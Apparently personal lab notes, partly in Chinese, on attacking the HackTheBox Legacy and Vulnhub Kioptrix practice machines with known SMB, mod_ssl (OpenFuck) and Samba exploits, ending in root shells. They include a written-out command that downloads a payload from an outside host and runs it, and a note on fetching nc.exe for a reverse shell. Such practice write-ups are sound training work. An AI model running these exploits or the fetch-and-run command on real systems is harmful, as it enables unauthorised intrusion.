HackTheBox: Legacy

source: https://www.hackthebox.eu/home/machines/profile/2

139/tcp  open   netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open   microsoft-ds  Microsoft Windows XP microsoft-ds
3389/tcp closed ms-wbt-server

smb-vuln-cve2009-3103
smb-vuln-ms08-067
smb-vuln-ms17-010

ms08-067
TODO: but actually I cannot get reverse shell without the help of metasploit exploits

ms17-010 download nc.exe via FTP, then get reverse shell

Vulnhub Kioptrix: Level 1 (#1)

来源: https://www.vulnhub.com/entry/kioptrix-level-1-1,22/

nmap

• apache httpd openssl openfuck
• samba

method 1:

使用 Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Overflow (1)

根据 Updating OpenFuck Exploit 更新 poc

因为不知道 target 的情况[1], 直接本地编译一份 ptrace-kmod.c

#define COMMAND2 "unset HISTFILE; cd /tmp; wget http://192.168.1.90/p -O p; chmod +x ./p; ./p; \n"

kali 下 #include <linux/user.h> 替换为 #include <sys/user.h>

这个 exploit 需要尝试几次, 不算特别稳定

拿到 root shell

method 2:

之前使用 Samba 3.4.5 - Symlink Directory Traversal 的时候, 编译过一个 samba v3.4.5 的客户端, 使用这个客户端

export LD_LIBRARY_PATH="/root/bin/samba/smbclient/lib:$LD_LIBRARY_PATH"

./bin/smbclient "$@"

使用 Samba < 2.2.8 (Linux/BSD) - Remote Code Execution

拿到 root shell

尝试 rockyou.txt 破解三个用户的密码, 没有成功